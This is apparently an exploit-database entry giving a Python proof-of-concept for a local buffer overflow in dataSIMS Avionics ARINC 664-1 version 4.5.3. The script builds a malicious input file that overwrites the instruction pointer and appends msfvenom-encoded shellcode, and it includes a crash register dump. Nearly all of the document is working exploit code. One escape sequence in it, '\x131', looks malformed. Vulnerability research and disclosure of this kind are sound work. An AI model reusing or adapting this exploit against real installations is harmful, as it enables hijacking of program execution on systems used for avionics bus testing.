dataSIMS Avionics ARINC 664-1 4.5.3 Buffer Overflow

`# Exploit Title: dataSIMS Avionics ARINC 664-1 - Local Buffer Overflow (PoC)  
# Exploit Author: Kagan Capar  
# Date: 2020-02-17  
# Vendor Homepage: https://www.ddc-web.com/  
# Software Link: https://www.ddc-web.com/en/connectivity/databus/milstd1553-1/software-1/bu-69414?partNumber=BU-69414  
# Version: 4.5.3  
# Tested On: Windows 10 Enterprise (x64)  
# about Sofware:   
# dataSIMS, an all-in-one Avionics Bus Analysis & Simulation Software Tool, provides an easy-to-use graphical interface, simplifying any MIL-STD-1553 or ARINC 429 testing effort.  
# about ARINC 664-1:  
# ARINC 664 is a multipart specification that defines an Ethernet data network for aircraft installations.   
# Part 7 of ARINC 664 defines a deterministic network, also known as Avionics Full Duplex Switched Ethernet (or AFDX®).  
  
#!/usr/bin/env python  
# -*- coding: UTF-8 -*-  
  
import struct  
import binascii  
import os  
import sys  
  
#EAX : 00000000  
#EBX : 00000000  
#ECX : 42424242  
#EDX : 77B96330 ntdll.77B96330  
#EBP : 000A1328  
#ESP : 000A1308  
#ESI : 00000000  
#EDI : 00000000  
#EIP : 42424242  
#EFLAGS : 00010246  
  
#LastError : 00000000 (ERROR_SUCCESS)  
#LastStatus : C0000034 (STATUS_OBJECT_NAME_NOT_FOUND)  
#Last chance expection on 42424242 (C0000005, EXPECTION_ACCESS_VIOLATION)!  
  
file = open("milstd1553result.txt", "w")  
junk = "\x41" * 600  
align = "\x32" * 4 + "\x31" * 4  
prop = "\x43" * 380  
imp = "\x62\x7a\x68\x72\x74\x75\x72\x6c\x75\x32"  
imp2 = "\x61\x72\x61\x63\x61\x67\x131\x7a"  
  
#EIP Overwrite junk value  
overwrite = "\x42" * 4  
  
#Payload size: 29 bytes  
#Final size of py file: 160 bytes  
  
#msfvenom -p generic/tight_loop --platform windows_86 -f py -e x86/shikata_ga_nai  
  
buf = b""  
buf += b"\xda\xc1\xd9\x74\x24\xf4\x58\xbb\x0b\x7e\x97\x62\x33"  
buf += b"\xc9\xb1\x01\x31\x58\x19\x83\xe8\xfc\x03\x58\x15\xe9"  
buf += b"\x8b\x7c\x9c"  
  
win32 = junk + align + prop + imp + imp2 + overwrite + buf  
  
print len(win32)  
file.write(win32)  
file.close()  
  
  
`